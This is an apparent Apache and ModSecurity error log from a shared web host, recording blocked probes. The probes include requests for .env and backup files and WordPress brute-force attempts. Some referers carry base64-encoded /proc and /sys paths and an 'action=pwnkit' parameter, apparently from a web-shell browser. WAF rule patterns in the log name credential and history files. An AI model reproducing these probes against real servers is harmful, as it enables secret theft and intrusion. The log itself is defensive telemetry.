https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:19.107413 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:19.131527 2026] [access_compat:error] [pid 648189:tid 648230] [remote 57.141.14.19:39362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:19.132011 2026] [access_compat:error] [pid 648189:tid 648230] [remote 57.141.14.19:39362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:19.247833 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.74:55852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:19.248278 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.74:55852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:19.361711 2026] [security2:error] [pid 648189:tid 648479] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.bak"] [unique_id "ai3y01WSojQL4F7upKBbWwAAAP0"] [Sat Jun 13 18:16:19.418735 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.67:38577] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:19.419063 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.67:38577] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:19.583440 2026] [security2:error] [pid 648189:tid 648299] [remote 188.213.202.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.202.213.188.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "sergil.net"] [uri "/wp-login.php"] [unique_id "ai3y01WSojQL4F7upKBbZAAA400"] [Sat Jun 13 18:16:19.599533 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFNMUEJOOjAw [Sat Jun 13 18:16:19.599815 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFNMUEJOOjAw [Sat Jun 13 18:16:19.636268 2026] [security2:error] [pid 648189:tid 648420] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.bitbucket/.env"] [unique_id "ai3y01WSojQL4F7upKBbZwAAAMc"] [Sat Jun 13 18:16:19.722073 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.68:48948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:19.722497 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.68:48948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:19.740697 2026] [access_compat:error] [pid 648189:tid 648263] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:16:19.741151 2026] [access_compat:error] [pid 648189:tid 648263] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:16:20.075007 2026] [security2:error] [pid 648189:tid 648373] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.c9/metadata/environment/.env"] [unique_id "ai3y1FWSojQL4F7upKBbcQAAAJk"] [Sat Jun 13 18:16:20.133260 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pZA== [Sat Jun 13 18:16:20.133722 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pZA== [Sat Jun 13 18:16:20.199024 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.22:51920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:20.199315 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.22:51920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:20.205804 2026] [security2:error] [pid 648189:tid 648427] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.circleci/.env"] [unique_id "ai3y1FWSojQL4F7upKBbdAAAAM4"] [Sat Jun 13 18:16:20.401542 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.51:30324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:20.401938 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.51:30324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:20.453731 2026] [security2:error] [pid 648189:tid 648304] [remote 17.241.75.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y1FWSojQL4F7upKBbfgAAjFI"] [Sat Jun 13 18:16:20.679198 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:16:20.679619 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:16:20.765287 2026] [security2:error] [pid 646876:tid 646914] [remote 17.22.253.212:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 212.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y1NyTkdrNlD40tSGneAAAHCM"] [Sat Jun 13 18:16:20.801308 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.7:23563] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:20.801613 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.7:23563] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:20.984714 2026] [security2:error] [pid 646876:tid 647106] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/dir/rewinddir_basic.phpt"] [unique_id "ai3y1NyTkdrNlD40tSGnggAAAGI"] [Sat Jun 13 18:16:21.108482 2026] [security2:error] [pid 646876:tid 646961] [remote 17.22.253.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y1dyTkdrNlD40tSGnigAAKFI"] [Sat Jun 13 18:16:21.240725 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:16:21.241180 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:16:21.287795 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.72:24191] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:21.288093 2026] [access_compat:error] [pid 648189:tid 648229] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:21.288148 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.72:24191] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:21.289133 2026] [access_compat:error] [pid 648189:tid 648229] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:21.305809 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.37:31568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:21.306224 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.37:31568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:21.422640 2026] [access_compat:error] [pid 648189:tid 648266] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:21.423084 2026] [access_compat:error] [pid 648189:tid 648266] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:21.441877 2026] [access_compat:error] [pid 646876:tid 646880] [remote 57.141.14.59:24965] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:21.442268 2026] [access_compat:error] [pid 646876:tid 646880] [remote 57.141.14.59:24965] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:21.464260 2026] [security2:error] [pid 646876:tid 646956] [remote 17.241.75.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y1dyTkdrNlD40tSGnmAAAKU0"] [Sat Jun 13 18:16:21.561297 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.32:43095] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:21.561611 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.32:43095] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:21.699887 2026] [security2:error] [pid 646876:tid 646889] [remote 52.167.144.160:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y1dyTkdrNlD40tSGnowAARAo"] [Sat Jun 13 18:16:21.714461 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:16:21.714805 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:16:21.827073 2026] [security2:error] [pid 648189:tid 648244] [remote 17.22.245.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y1VWSojQL4F7upKBbqQAA6hc"] [Sat Jun 13 18:16:21.840542 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.31:62604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:21.840954 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.31:62604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:21.986324 2026] [security2:error] [pid 646876:tid 646924] [remote 5.175.167.71:45292] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.167.175.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.infraas.digital"] [uri "/wp-login.php"] [unique_id "ai3y1dyTkdrNlD40tSGnsgAAEy0"] [Sat Jun 13 18:16:22.252721 2026] [security2:error] [pid 648189:tid 648417] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env.swp"] [unique_id 